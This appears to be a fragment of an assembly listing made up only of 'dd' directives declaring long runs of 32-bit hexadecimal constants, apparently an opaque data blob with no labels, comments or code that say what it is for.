dd 0DEAF331Fh, 6373717Eh, 1DC88422h, 6F118805h, 67E80E63h
dd 4D88E63h, 744DB2Ch, 16F49F5Bh, 0EAEDF504h, 0C2DBA6B9h
dd 6543D436h, 4A5DADF8h, 0B7778B84h, 4E719179h, 76F95694h
dd 0E66C926Fh, 7287E171h, 9AEFFBBh, 1F325687h, 569B3FC6h
dd 0C9AFEEBCh, 58462B5Ah, 0B8D37725h, 5FAD676Ch, 90AC97E3h
dd 0F13398A3h, 0A59EBA23h, 92954E33h, 43404BBCh, 0C72D605h
dd 2CFE778Ch, 1AB5A7A5h, 30A403BEh, 0CD8DF3D6h, 77B2590Ah
dd 1D32F96h, 0AF79560h, 0D4A53309h, 0D1F5ACD1h, 0D2CF21EEh
dd 4DEF09D5h, 0C58C9C1Dh, 0DE9FDBBh, 0EBC0D002h, 69B3FE8Bh
dd 3DFEA8FDh, 0B74ED302h, 0C0790A1Ah, 8AF90239h, 0EA0C3FE1h
dd 57D06B62h, 8609892Bh, 0CA8FA5F1h, 36177C45h, 0C4316F01h
dd 67903DF0h, 77B2903Ah, 0BD791086h, 0AE5BE75Eh, 530B5D84h
dd 7F7156FBh, 0C0CC1F26h, 9317ED41h, 1CBA9AE0h, 7222FB8Ch
dd 0A753C4C3h, 3CD3DB66h, 0B0224684h, 2193C9FDh, 0D0296A0h
dd 0C744B72Bh, 0C3EC6D51h, 5837847Dh, 0F7500CEAh, 39604FB6h
dd 0F81E2DDBh, 0EA412795h, 2D8E4AEDh, 70DEA5E3h, 49E2F6D2h
dd 0B22FBBDCh, 2257FB27h, 8473C13Bh, 0F3D7630Fh, 0FA1BAD7Fh
dd 56587813h, 0A3AA648Eh, 4415BEDEh, 7BB08462h, 0FE034D77h
dd 62A7AB04h, 0B935DC8Eh, 96A46FB3h, 760DB02Bh, 60C1E879h
dd 0CCDA44F4h, 38F4EBB9h, 0F7E264B6h, 19C72B7Fh, 787572A8h
dd 0A6EBAF43h, 44E22A9Eh, 9E2A655Ah, 0A7DAB3D3h, 0FC2718D5h
dd 60A32F36h, 8F16681Fh, 49A3369Ah, 6572DEAEh, 76E7EAA0h
dd 658CBA5Bh, 0BF284CBAh, 95A0EA42h, 0C5EBD993h, 782E66F8h
dd 0C17D4465h, 0A87193A8h, 284A2B14h, 0CA6BD5Fh, 49B9DB1Dh
dd 84B91A2Bh, 0E257398h, 0B583333h, 0F4F0AB53h, 75D35BA4h
dd 1A778DB1h, 5F0D32A9h, 0F411E0A3h, 6479EF9Bh, 0A464F3F7h
dd 0DF23448Ah, 8A74B6DAh, 9DF5E97Eh, 20DD005Eh, 1DFF47DBh
dd 87D3E1EDh, 0A2CF085Eh, 41BEAE2Ah, 0A83BC00h, 6A2746BDh
dd 43BEE2DEh, 0FEE62884h, 0A4741F6Bh, 8297217Fh, 613DF409h
dd 2D14588Bh, 0EB5F827Dh, 495494B7h, 8E894D9Ah, 0DD4A8F3Ch
dd 0D94D57FBh, 0CDC89C2h, 0C1D52D63h, 879A1FA3h, 0D0F8A4F3h
dd 8CAD2B03h, 0B7FE2FAAh, 4765B10Ch, 3BA84AD1h, 0C1351D68h
dd 1292A52h, 10506CE7h, 0A07A4DD6h, 9EF0A5E4h, 0CB21C5B6h
dd 7FF0C740h, 623B303Dh, 5F993DD2h, 0ABA07096h, 68682465h
dd 0EC783F4Fh, 0BBD3162Ch, 0DDDD8033h, 39A8E5DBh, 0CF4343DBh
dd 5DD22C8Bh, 0A67DC6DEh, 0D6420C9h, 266CEBA5h, 455B73E1h
dd 0B292C53Bh, 22D61985h, 0A777429Bh, 55EB904Ah, 0E5B09C4Bh
dd 0E79E0138h, 6F32887Bh, 0CD6D50EDh, 0FAB63361h, 542B3D43h
dd 0D473833Dh, 713E7894h, 81D02742h, 36F8EBEEh, 90E2949Ch
dd 83CD8A38h, 5B11B61Eh, 0C461FD4h, 5BC8DA34h, 0CA8C5B89h
dd 10E2B464h, 0F47AD45h, 961D4C1Dh, 9A7EB606h, 0C02A74D0h
dd 2EA99A4Ah, 0BFE2923h, 77DFC126h, 0B787DE80h, 0F5F331BFh
dd 3B051C4Eh, 0EEE441F0h, 9859CBF2h, 0ED3BAA35h, 653918E3h
dd 69D56D3Eh, 0D80E3C2Dh, 1F2244CBh, 90CF808Fh, 87272A0Fh
dd 3E1B9BB0h, 0AAD90539h, 352BF90Eh, 13109F02h, 0AFE64DE1h
dd 43CCA70Dh, 0A0BB304Fh, 775CEC0Bh, 0A8E45D6h, 0DED0EE89h
dd 1C934B35h, 0A7BA9601h, 9DD4E5C0h, 54EF9188h, 0AA289191h
dd 66A9185Fh, 63AF8559h, 3FF2B78Dh, 2400EEB8h, 83BF999h
dd 0FE63C30Ch, 3DF1E42Ch, 0F893D168h, 0C0044004h, 0E8EB469Dh
dd 0FF797CD0h, 0CE58D2E7h, 0C2EE1B3Fh, 0D4D8FC95h, 4DB29954h
dd 156F502Bh, 3DA3D6D4h, 1214B82Fh, 9A0CC823h, 0A131F211h
dd 4FD1FE9Bh, 9D4D1583h, 0D855828Fh, 637BBCD2h, 0E1EE839Ah
dd 485AF89h, 81168A33h, 6D1ADB37h, 62D8B333h, 83E2628Ch
dd 0EAF00DA8h, 0F2EA886Fh, 94657DDh, 0B7C478DBh, 0C5758D2Dh
dd 179DFCA5h, 4A0EAEA0h, 9DA3C380h, 0D647E465h, 0F84A23A7h
dd 0D6D2E4BEh, 865F3302h, 9BF65144h, 0A1E8322Ch, 0B80B9210h
dd 0FBE3846h, 0A85B4B3Fh, 0A1D15601h, 50D811A5h, 0D9F8D348h
dd 5F0AEA11h, 0C74E1548h, 75188814h, 60DD41E0h, 925CA3FCh
dd 0F12F7255h, 382919D1h, 5ADD32CCh, 2D4552ECh, 40B2365h
dd 3B675D3Ah, 0FBF52A7h
dd 3E598667h, 0C5DDB39Dh, 50B92E54h, 7095D347h, 0A264A41Dh
dd 0FF22C449h, 0A0E2C7DEh, 19D811BDh, 0AC7648A3h, 3FD2CD1Ah
dd 0E9AC6C7Dh, 0A156127h, 0C465A63Bh, 994ECFEFh, 7121AB96h
dd 7EE4955Bh, 0D41F8780h, 1F0B3E0Dh, 11816AC8h, 6BF58599h
dd 0DB72701Dh, 6D8E2673h, 97D600C6h, 35D6E338h, 0C4DF6EE4h
dd 7D2E2D2Ah, 6A2C6F9Bh, 46608068h, 972E98B9h, 22B22276h
dd 82F58D1Ch, 49B1A075h, 75E1C6ADh, 0F533150Ch, 0DBF01AD1h
dd 63B19748h, 6DC0C3DCh, 0D4FA3330h, 0E02D7C8Bh, 8B1B64F1h
dd 2C66CC2h, 890A4F33h, 0E6126692h, 0FB0BEF32h, 895A0E66h
dd 46051CCBh, 0AD1FFA86h, 4C58458Eh, 4AABA1A1h, 0DF6D798Eh
dd 44CE9AE2h, 23F5A09Dh, 1594C7h, 7F559D62h, 14004488h
dd 508537F7h, 45CBEB03h, 59AC2C9Ch, 8FCDFCDFh, 0E07AF0DBh
dd 57D5A045h, 8FF5195Eh, 5D354D83h, 775BE540h, 930B2AE7h
dd 0C6301EE2h, 6ED44DE2h, 2B4CBF09h, 7E72B3EEh, 46F0E4C6h
dd 759732F2h, 83081A59h, 5D23E3E6h, 0C6575033h, 0FEEEF688h
dd 21205807h, 0BE945385h, 0EB553160h, 0CDBA3813h, 44361D5h
dd 10E9DB5Ch, 0C5A7207Ch, 61ED8C21h, 47B33B08h, 0E529E0B5h
dd 71C4FD3Fh, 539B7269h, 2942C037h, 0B1873686h, 8DAE902Dh
dd 6E132AA3h, 3A83F86Ah, 3FC82FBFh, 9020E743h, 2E59BCC2h
dd 0DC78BD48h, 0CA901C7Ah, 0CFCD2998h, 0F3FF2202h, 0CAFD6A96h
dd 0F995AA6h, 5BEE528Ch, 9832C7C3h, 0A0614E2Fh, 25179672h
dd 5EE5AB7h, 0B43CC59Bh, 32A3110h, 26A30A22h, 3702F2AFh
dd 2565E940h, 0C256AAFBh, 5887C058h, 4E89B304h, 5BD0C91Dh
dd 9E67FEC8h, 0B5BEAFF0h, 481C2CEBh, 0ECB9B010h, 26714E7Bh
dd 3706CB39h, 0E4256036h, 560F45CAh, 0A1CBBE1Ah, 0EEFCEDEh
dd 1D6248D2h, 0AD0C14ACh, 8FE7F5Dh, 0B856C081h, 0DCD25ED9h
dd 76492188h, 261C1165h, 0EABE9D13h, 0F589E94h, 0E83E382Eh
dd 0BD1886A4h, 510D06C1h, 0BE3622BEh, 0D6AE4BC5h, 0D00BCB55h
dd 0FF26ED0h, 2D22A10Dh, 0B42188CDh, 52D4F46Ah, 43FAA987h
dd 4FF15DF4h, 0F267FC15h, 0FCA1E8C1h, 1E14D5B0h, 0B43ADA8Dh
dd 4C03BB3Dh, 0D0B35796h, 9BD1AEA8h, 90982D2Fh, 6FA16A47h
dd 0E47C4189h, 6FB4C119h, 320EFBECh, 0C6451DCDh, 0A1D5E0E2h
dd 0C821027Bh, 419DF566h, 6E0EED76h, 694E18Eh, 6C67123Dh
dd 1A0DB38h, 98DB8445h, 2CB9D8EDh, 5E135AD7h, 0D6788DB6h
dd 94010AB1h, 0C00194E2h, 9B225AF7h, 0F7C16387h, 0B5AC934Bh
dd 589D7ECEh, 82D2038Fh, 0DC428468h, 0D9270274h, 7D4C17F0h
dd 5794BC61h, 690726D5h, 38C4AEDEh, 0D58330Eh, 302C769Ah
dd 25B0590Ch, 593749EBh, 38312408h, 892AFFC8h, 0F9AF524Ah
dd 191631DFh, 82075C85h, 0D2786903h, 6B43F6E5h, 42449D02h
dd 5AD7CED7h, 0DFF050Fh, 0BB6AC88Bh, 0A109BBE8h, 4CCF0BA7h
dd 0FDFA10D9h, 23CB4AAh, 0C6F1AF37h, 0A49A36D3h, 60FD78FAh
dd 5CEA8ACDh, 4E2B3046h, 83DAAF0Ah, 75BD28CEh, 0F8227B27h
dd 17CAE750h, 47C163CDh, 0D882F854h, 63F77C82h, 0E7795480h
dd 0B37A6914h, 2FB83D31h, 44F379ABh, 74CABCBFh, 0EBA0088h
dd 1E20B865h, 0D08EB7BAh, 1F649E98h, 7B8698A9h, 4F21417Ch
dd 2266752h, 5DE7A351h, 0EA51E7C9h, 0F1ADEE69h, 803E6461h
dd 0C5D519BBh, 0DFB92F12h, 93C7911Ch, 10CCC9EFh, 3848BBD1h
dd 0D26F1AA7h, 5BDD7E86h, 1BE2E1DEh, 7A57A3E7h, 0CC661881h
dd 29CA3FA0h, 0A9E4467Bh, 0C971A9C2h, 5254F1B3h, 76BAD8C0h
dd 0CF797682h, 92E41E7Dh, 5029078Dh, 188C9544h, 0A778E19Fh
dd 665C1E43h, 85029503h, 0F61484D0h, 0D8DC0CBDh, 14C79171h
dd 0A4DC1084h, 9BBBADDDh, 3F471877h, 18388A69h, 57E29515h
dd 333D95Dh, 0E24D628Ch, 86C58BD7h, 0D8D9DED9h, 0BDCB7FA8h
dd 528C11C1h, 25D538FAh, 49F94338h, 7F0466EAh, 4572960Bh
dd 7B81CB0Eh, 0B3A1A306h, 53A57E04h, 0B2E9983Dh, 4F686234h
dd 5B3C83DBh, 0F67DCB39h, 0F317DF51h, 0EE202D9h, 0BD356D01h
dd 97A13768h, 0C1EDA68h, 50A8CC5h, 383126ABh, 90C425E5h
dd 0EA62F6FCh, 0D2E95C9h, 7CB975EFh, 9D494B9Eh, 0B5616B22h
dd 14C0221h, 0DDF31A75h, 0E12DA920h, 88DDA5B2h, 8A317154h
dd 8696955Fh, 8F733AE2h, 2CC29A67h, 65D73006h, 562FAAFBh
dd 0F1C75822h, 0A3D5362h, 7E527508h, 612B2FEBh, 0B0AF19ACh
dd 0CECC9A79h, 5051E726h, 32B2A3D2h, 0E69748FCh, 0BBC9BA05h
dd 0DCD3E5ACh, 0BB7BE1F1h, 4102B0B7h, 7A6025DCh, 0BF33CA34h
dd 819C664Bh, 533C7B79h, 7C190DDh, 4204C8Ch, 6E752FFCh
dd 496DD695h, 0A9D6A593h, 9CA38CBFh, 28A459BCh, 4286C351h
dd 742D9EACh, 46488C4Ah, 0AAC87DE8h, 7507D0C3h, 3C210C0Fh
dd 836B1269h, 0C967556Eh, 5EEBB167h, 0C6C63C11h, 3DB622BAh
dd 2BB428C5h, 390961E1h, 122BFFB8h, 2F065B4Fh, 3BF489B1h
dd 0EF5BF8B3h, 0F9065C6Fh, 84AA9E55h, 283E741Ch, 0CF65B6E9h
dd 52BF96Ah, 0D5AFE0EFh, 0F8231256h, 86854FA2h, 0F46772B8h
dd 1730E06Ah, 8ABD47E1h, 0F99C3407h, 0ABCA4471h, 140B1B81h
dd 0B07E641Fh, 0BA4F4ED1h, 5B7DFDA6h, 0A356FA8Ah, 0F1CCCF4h
dd 5410838Ah, 48A50E1Dh, 8473D689h, 0B486A91Eh, 0C8B38A49h
dd 0D749820Ch, 2434E12Ch, 2CD773F9h, 0EAEFF7E3h, 7061113Bh
dd 3657A40h, 8E10A530h, 6C8EF0B7h, 47D9B934h, 523E4213h
dd 0B8D7C55h, 7D57470h, 3587B032h, 0FD704EBBh, 276A717Ah
dd 4E558B90h, 160C4E1Eh, 2E457660h, 3A9E463Dh, 8AF70C8Ch
dd 0F18456E7h, 0DCB1459Fh, 0C101F76Ch, 209FD3F8h, 0B7DE58F3h
dd 932DF580h, 3F3F675Ch, 3AEE0723h, 0AB7B335Ch, 908CD84Bh
dd 0CF9C990Ah, 49526AD4h, 0F8D3C2E7h, 6FEEA153h, 58F47B86h
dd 0E5108817h, 0F0A504E1h, 0CEA7EDEFh, 0C867CFAh, 0ABC316B4h
dd 0DED0802Ch, 0A2B81842h, 0FB7FA263h, 5CFEA310h, 26C86186h
dd 1C5AC3A8h, 5E2E4FF5h, 893D190Eh, 0BDBE6F2Dh, 53E8F2F6h
dd 38B4ABB8h, 856FD3F9h, 0A49B3C45h, 84F3C659h, 0E7485AABh
dd 0B9769005h, 76C2BACCh, 757AA4ABh, 0DCF0FB2Bh, 0EFB1927Ch
dd 0F42F2855h, 757B908Bh, 9EB76AD3h, 0F62F8F23h, 1B03235h
dd 0BD40F005h, 970B2A14h, 97374A8Dh, 835CE57Ch, 3208A51Dh
dd 0AE9C0554h, 0AF51D25Eh, 2E2DF380h, 0EE74BB04h, 46338B23h
dd 656B0149h, 0DEAA7BD7h, 0B72686FEh, 0F17DA422h, 7366945Ah
dd 642F34F8h, 0B7D213F9h, 10DA1E7h, 44F41389h, 0E44A1DB1h
dd 1612AF4Dh, 0E6BF8613h, 2C9DA9BBh, 0C954F903h, 0E34C0282h
dd 68A0D600h, 1930F95Fh, 0BAE5EEC2h, 0D280499Ch, 0AD2DD650h
dd 4B8A17A7h, 0D96DDDAAh, 32E88B48h, 2906FAD7h, 266E4529h
dd 98FB8B77h, 3B2FCB1Fh, 51ADC586h, 93AE1BDFh, 963C0846h
dd 722D7889h, 0D94C31F8h, 1E599C69h, 42BF815Fh, 0C7B31FA6h
dd 17AB4AAh, 174CDC88h, 0D640ABEAh, 1F249682h, 7B876CFBh
dd 5B42C826h, 0E89717CBh, 39AB8B14h, 0FF115C5Bh, 70BCF7EBh
dd 4A673461h, 15485032h, 6A5A71D1h, 4B8E55C1h, 53257D7Ah
dd 70699B3Ch, 0A145522Eh, 0C8B7A442h, 482866F8h, 0E16DB51Ah
dd 0BE3EE43Ch, 42E3C206h, 0D126901Ah, 0E836B6CDh, 381FA0D2h
dd 4542FDEFh, 72CC6365h, 40F95CCBh, 0DCAF67D9h, 0CA14866Bh
dd 0DB80467Ah, 0C23AA826h, 5B358D6Fh, 0FE84A291h, 4081B6CCh
dd 51F7E5DEh, 9234E79Ah
dd 94AAFF57h, 0C5420E2Ah, 55A45E8h, 4B11A3B2h, 51FF87D6h
dd 759C0C89h, 0F6494736h, 27B1073Dh, 45FED6F7h, 9E55641Eh
dd 0CB1BD6B3h, 7803857h, 0ACC1F2C0h, 2AC0F3AAh, 0B48E51EFh
dd 7D3C19C5h, 0CF42A03Eh, 4AA7B0D1h, 0A420E4EAh, 943A3C0Bh
dd 0DD57568Fh, 3DC52215h, 0FFC15A86h, 0ABA569C1h, 7DC161F7h
dd 266C5AADh, 0B07D4135h, 84313B53h, 22D6F99Eh, 39196E1Ah
dd 2DDB870Ah, 3165FED8h, 3EB036AEh, 4DEC8EE8h, 3849B08Bh
dd 846AA356h, 0C6D77814h, 5DAB8002h, 3715FD08h, 0DCADDF8Ch
dd 99AF3FECh, 0D30ECBE4h, 9263CDE4h, 0E2B061CDh, 270CB194h
dd 67D1FB0Fh, 4A0C673Eh, 0B1B1598Ah, 0CC53F863h, 15188B33h
dd 330A705h, 0F23D28E8h, 57CF6F91h, 5AF5B7C9h, 9914C1E3h
dd 0EBF9988Ah, 8301E716h, 0E8D38A25h, 8567E9E4h, 1DD8B0F0h
dd 82B60F74h, 0A77DB71Ch, 0D2132E69h, 4D851167h, 21D6F53h
dd 24A23BE1h, 34F96B92h, 3AAAE954h, 0E7B3AD64h, 21AD284Fh
dd 2DD660C1h, 0EBC92259h, 6CB48C98h, 7EE88672h, 483BCF38h
dd 359123A8h, 7B307696h, 9DBF262Bh, 28FA1FBCh, 193DC05h
dd 0ABB4AF33h, 9BD3EEABh, 4689FFACh, 6D2A32B5h, 72140DE9h
dd 0FE410CBh, 984F31F7h, 123E4B50h, 3962E982h, 0FD098416h
dd 4AA1D1B5h, 716DFB6Dh, 36668D3Bh, 85FDDDFCh, 9991D12Fh
dd 5FF059CEh, 8EFC5842h, 0B1BCD7A5h, 0A705C3C1h, 0F2A18A4Eh
dd 3BA8275Dh, 0FFCB909Ah, 135D285Eh, 4BDC7A61h, 31637BA7h
dd 33932353h, 0F24CA10Eh, 70C8E0A3h, 4CB91300h, 231F8977h
dd 3257A8FDh, 9EF4C6A6h, 7475282Bh, 0E0AD6722h, 4CD8B0EBh
dd 0DA32C2B0h, 0A7656ECEh, 30595B8Fh, 0A356A103h, 4E065466h
dd 0BD96DAEEh, 99D4A07Ah, 2F0919D2h, 0D074EFh, 5B8D15Dh
dd 0E6F7A947h, 894E5607h, 95784230h, 37B2A906h, 2ECB7831h
dd 0A767D9BDh, 0DD1A1DB7h, 0BDBB85ABh, 0F8DF47EFh, 96D0B14Ch
dd 19C33497h, 0C4E16C4h, 812DD0F6h, 2E96DCCh, 79D29438h
dd 0A6CDC93Bh, 26DA9B5Fh, 17DD4ECh, 0C7F6F7CFh, 147B2AEAh
dd 0C9389D6Dh, 16286F13h, 599750FEh, 5579190Ah, 5B6C9999h
dd 0C3D21517h, 50428BB0h, 4F8B814Eh, 0D9DB5CB5h, 4C547E77h
dd 73073543h, 70EFB5C2h, 0DCAB131h, 315C040Ch, 0F2A3F8F5h
dd 62E4B2D6h, 0D20AB433h, 9105E98Ch, 0C83DC47Ch, 0A17C8034h
dd 10854113h, 0B37958B9h, 7DE015ABh, 442C499Dh, 0D69DC7D4h
dd 15FAADE7h, 0FFF88A7Ah, 336B6EB5h, 57587E86h, 28AF8AF0h
dd 0EC6302C1h, 441253E4h, 0CC246431h, 3C2FE900h, 0D13DF5EAh
dd 6733F18Bh, 54604C9h, 8D97F7BEh, 85B5C5C2h, 0A1CC9788h
dd 173AD935h, 764461E2h, 70AB8DF4h, 9FA117FCh, 8E502EF9h
dd 0F2448E78h, 947565F6h, 7FD5727Bh, 0F8B1DC6Ch, 29457B46h
dd 9161031Bh, 0B7FC8686h, 660586E9h, 0E4E7CF40h, 5C3D68B2h
dd 7C73AE78h, 7152E973h, 0EC14F665h, 74D6A7F6h, 0C54536A7h
dd 972B8F15h, 2C117E76h, 2851DCB0h, 0C4DEF5F1h, 0F7AFFDE1h
dd 5D0654DDh, 2329AE41h, 73ED4C34h, 83789546h, 0FEB183ACh
dd 1B4EBA80h, 8C61042Ch, 0D9F58891h, 0E4A5639Eh, 0A4E4598Dh
dd 803E35Fh, 4DB8D0B3h, 7981A93Bh, 0D9A86947h, 0BF0D7817h
dd 2B34FB6Fh, 0E8C912ABh, 0E049B409h, 0BC34F9B6h, 4E288EF9h
dd 0A4B52B17h, 69825896h, 5125C585h, 72877BD1h, 8168A63Fh
dd 212EC721h, 48ED95CCh, 0BDFDB980h, 0EEAD92C0h, 1CEE7C20h
dd 9A34E22h, 5E393C93h, 0CDFE60A0h, 75D65FD4h, 0D50B0C3Ah
dd 0A1E713E7h, 47AE2F0Ch, 0F9C5540Ch, 22CB97F6h, 34321845h
dd 61B806A7h, 6111EB3Ch, 0C3921300h, 0F9BF058h, 0A690B6F0h
dd 57F9B09Fh, 88AA25A5h, 33600B7h, 39645B13h, 0C27950AEh
dd 0BE7323A8h, 0E2FBF744h, 0CA2067Ah, 0C91675Fh, 8A5B820Fh
dd 577ACF76h, 55C588A6h, 3A87BC03h, 9B59E32Ah, 9F6D7CA9h
dd 0D6298FA5h, 665DB58Dh, 33599BF8h, 68AE92A5h, 67B5A91Fh
dd 56FD188h, 1057F443h, 5B8412AFh, 0DEFA2634h, 9E57E4C8h
dd 65DD20F3h, 90F18318h, 6EB5560Ah, 8D5DF92Ch, 0EEF5C71Bh
dd 0E64D9D5Fh, 0FB8EB62Dh, 1BC0BCA3h, 0AC941015h, 60828988h
dd 50BCA0DEh, 4F38A79Eh, 554D9A9Bh, 107F8C35h, 5BF414D4h
dd 558A350Fh, 0F90F3D7h, 0FE0433D0h, 2BF70990h, 0FDFCF6EFh
dd 0AF630297h, 298EB7A1h, 730883DEh, 1DD020h, 0D7706B97h
dd 3C874F89h, 0CBCC2A81h, 98094282h, 63E1BBB4h, 98F8651h
dd 382EB4E5h, 0A4484EF9h, 6DD941B7h, 0CC9AFAB8h, 50F8ED25h
dd 705A1FD5h, 497EB65Ah, 2A899B0h, 9B36AF0Ah, 0A582685Bh
dd 468DE4A0h, 8661DF2h, 9F1FE2AEh, 0F8C23150h, 57AF9C12h
dd 0AE60FCE3h, 35B7E76Ch, 0D1E48691h, 787E1CD8h, 53D3C16Dh
dd 5E9E2111h, 43DC3A1Bh, 40917625h, 4A20CAC0h, 34DD0F32h
dd 0B0F5E513h, 5DE44C61h, 77F4F28h, 7E325E76h, 0C0A7CB4Ah
dd 8B501DA1h, 0B53ABA7Eh, 37E442C1h, 5AB038BFh, 5A9A8404h
dd 3FC0FC3Eh, 0C0543C6Fh, 0D53AA34Bh, 6F8A50B9h, 36449C0Dh
dd 62607F63h, 0BE1DF6CBh, 1FF2B4AFh, 8C2D63DEh, 0A18B2D1Fh
dd 75A68FC3h, 88C26C9Eh, 0B5D510D3h, 0C0AEFF6Bh, 14CD3039h
dd 715591E3h, 0B5522D58h, 6F1E084Eh, 0DC6827C4h, 95D1BCF6h
dd 19E2C0CEh, 5F59BA3Dh, 8DC14AEBh, 0C575859Fh, 6132ED38h
dd 0C207570Eh, 2AE9E3DEh, 0DB82EA39h, 0D704F60Ch, 0B6ED710Ch
dd 0E496D5EDh, 0CB24E7D3h, 0D024366Eh, 3F1B9181h, 8555A35Dh
dd 5566A2h, 8A78B6E7h, 6D50D48Bh, 0CF19D2B8h, 6D82F1BEh
dd 432F9CF6h, 195A99A0h, 83F41179h, 80746D7Eh, 0CE51F833h
dd 0C5758275h, 6B34D789h, 0C0C9EB2Ah, 1E1389E7h, 3FDBADE3h
dd 2D5840DAh, 259D6239h, 4B404E73h, 5C325599h, 3EB343E8h
dd 6B0D3720h, 3D58A30Eh, 9FFF4BC5h, 96345198h, 0B9EF8CBFh
dd 3EA80E50h, 4C06C363h, 3C4B6893h, 0CAE4462Bh, 37BFD305h
dd 4310821Eh, 0FEEEB87h, 35B2460Eh, 0A2B75E3Dh, 0A3F0C6DAh
dd 2D8892F0h, 0ED1D27A3h, 0A8CE70B5h, 0F0C73C12h, 0C3EED101h
dd 0C87560D7h, 0E0F2FF5Fh, 2EBEA953h, 0F15EE639h, 7951D7E3h
dd 0AE67A44Bh, 8D900F3Eh, 7CF64A9Eh, 616389FDh, 0CB32BAC9h
dd 3142834Bh, 7B55BB39h, 5498B048h, 0DAFE13CCh, 1393FBCFh
dd 0F1F2BE61h, 0DFDBDC30h, 258BF0C9h, 0E4CC171Dh, 1882517Eh
dd 8F734464h, 31AFD14Ch, 4BB819DEh, 0C176F993h, 0FDB96065h
dd 7B181562h, 44D657DCh, 0FC06BE01h, 0F54F1246h, 9B36252Ch
dd 990934BFh, 35CB02EEh, 6CE0C90Eh, 0E014A7B6h, 0E4FBB03Fh
dd 7E7D85D1h, 0C5AE687h, 22127CEBh, 6BA0EAAh, 5F27DD46h
dd 0D61D3D77h, 253E6E43h, 47728B29h, 0EF7924BDh, 0F8A4DB99h
dd 6564C176h, 0FBB3FC09h, 104DC8E5h, 38DEC6EFh, 0F3720964h
dd 0DD3591F4h, 30E2BB9Ch, 5BD475D3h, 0D5B8A279h, 0C1486E87h
dd 69BA1F3h, 9DAC770h, 4433BCE0h, 0D99C04E6h, 7F1F98C1h
dd 0C3847621h, 0A644BB6Ch, 52D5A067h, 0E766DACDh, 92E5BAB0h
dd 0BEC24FA7h, 72BAFF9Fh, 1E413674h, 0AF06109Ah, 0B26EDB36h
dd 0E13848D4h, 86D2E5F7h, 9369852Bh, 0E772605Fh, 0F46D6637h
dd 0C964A286h, 1A17D10Ah, 0BDEDF7F0h, 0A1471242h, 1DAC86F9h
dd 0EEF2CEFh, 82065EAFh, 0E52BEF9Eh, 430ACB70h, 0D7C6DB84h
dd 0CD97C88Eh, 0D0545A5Bh, 0CE3501BAh, 0A34DABB8h, 6FBEDA45h
dd 0CAC77D42h, 33F580B4h
dd 306550EDh, 0DEBBA5E0h, 3217CA78h, 7391AA00h, 9F94B98Ah
dd 0F7405108h, 48552757h, 323ADB15h, 75448177h, 0B678BCF8h
dd 783A81DAh, 0AC8B6C2Ah, 99A861F7h, 4C1316F7h, 26D18AD2h
dd 30A69920h, 12A2A786h, 0E7371AC6h, 414C6A3Dh, 0E735EC36h
dd 0C6D030EEh, 97092586h, 93E38307h, 84BED040h, 418FDEABh
dd 179E68EFh, 0DA4D7AE8h, 70ACC9F7h, 0D9B0B4B3h, 6F0A32E2h
dd 9D268576h, 3B010980h, 0ED2B30F0h, 0F0CE1C29h, 52A4D275h
dd 0D2948A5Dh, 6A09226Ch, 5F9C582Fh, 29AA6096h, 69DD1E81h
dd 0CD125D14h, 3A8032D9h, 0C6E6362Ah, 565CD919h, 482868B6h
dd 6A276C74h, 3D8E6D57h, 0A9653E8Fh, 6FEBB2EFh, 548A4A53h
dd 94F3A3C9h, 0E7D9BEEAh, 0C6F50982h, 812B746Dh, 8BE58C4Eh
dd 0A16B5362h, 1A92F8B2h, 260705F8h, 0B3C69BEEh, 7DD42946h
dd 0F7065C2Ch, 0F7D68F15h, 2F0C9AD8h, 9BC6704Ah, 89465E23h
dd 4DA34CFh, 8AB86030h, 0D1F9DA7h, 421D3466h, 0DF0B27A8h
dd 4AB1476Ch, 2DEADE4Ah, 0B7B0553h, 1F657935h, 0DA4388D3h
dd 0CEC4E4EEh, 0AC5B8B8Ch, 0ADC00506h, 0AB318D55h, 8B1DA3CDh
dd 17067A20h, 7574BF10h, 945CFFF4h, 4A92DA50h, 0FAD8C47Eh
dd 95E5D0F1h, 6686A30Ch, 7F4B1749h, 0C9C0A704h, 0A348AF1Dh
dd 8AC505ACh, 5543DB62h, 216F12E2h, 0DA51C99Fh, 1B03B272h
dd 0E5D77Eh, 0EEAA471h, 0CFDD5549h, 0FE2EE326h, 0F18DE63Dh
dd 0C7315769h, 78783A0Ch, 1A6DE1A5h, 0C5C64E28h, 341F0875h
dd 0CB0304EEh, 17291627h, 2CE4B936h, 0AE533C64h, 4FE0548Ch
dd 7B32FC21h, 0F341AEFBh, 0B6029F60h, 259A74B3h, 52ACA2FFh
dd 0D9571B05h, 258EF536h, 0B89B0F05h, 9458109Eh, 0E378306Fh
dd 0A9231430h, 0C01E0DA2h, 0C57E34A4h, 0E27CFD86h, 0EB4343B3h
dd 6213527Bh, 2F98487Ah, 6E03754h, 50909F70h, 90FD7C38h
dd 2FA11F8Ch, 551D9110h, 0C815DD4Ch, 0B009113Fh, 0FD7F090Ah
dd 0AB52F149h, 0F59CC0FCh, 4EC5F5A9h, 0F4F49EBDh, 9ED2467Dh
dd 0C4D5F707h, 7BA401D6h, 71FBEB5Bh, 0FE770CFh, 89E409BFh
dd 0E5432A34h, 1EFA6Bh, 0E0D84B2Ch, 0CD449630h, 42059E5Bh
dd 0AA78754Ch, 5267D9EBh, 0B8AD2AD0h, 84061594h, 13CC6955h
dd 0AC6A5236h, 5FB1C516h, 0C61775B9h, 0A5C0B256h, 26AE977Fh
dd 0A1C996FAh, 77421B34h, 53AFD5D0h, 45463CB4h, 0E8556B2Eh
dd 0B1D41123h, 0E575F078h, 993F398Bh, 0E8CBCAFh, 0F1B2744Ch
dd 718408Eh, 416CBD9Ch, 0B0E2398Ch, 0C715722Eh, 38E62385h
dd 3969A05Eh, 751C8AC0h, 0ECB1C652h, 4ADA0C26h, 0DAA0F7EAh
dd 0E8C59C62h, 8C8016D8h, 910BFC12h, 53F53F43h, 19BCAE17h
dd 0F8972925h, 932DDBCBh, 496C604Ah, 0E590839Ch, 3E4B0DCCh
dd 4D87C1BEh, 0A9A9457Dh, 0B7EF0579h, 0A1E6F360h, 1346F879h
dd 6D99912Ah, 25E2A57Fh, 5410E776h, 0B76A38C3h, 0FDDB7C7h
dd 0EB4188ABh, 8168E90h, 40ABE2CAh, 3420B60Dh, 229933FBh
dd 3F890DBCh, 87F3241Eh, 0DBDE536h, 46AB071Ch, 0F51EEDD2h
dd 85833C00h, 1190920Ah, 0B5EA6523h, 0FD90E814h, 0DFB9E396h
dd 57B54BFCh, 9E625138h, 70D9333Bh, 83E48CB2h, 0B9744093h
dd 0A2E22C09h, 0DB1F6A4Fh, 0D21EEE8Fh, 11D43A3Bh, 8D05507Fh
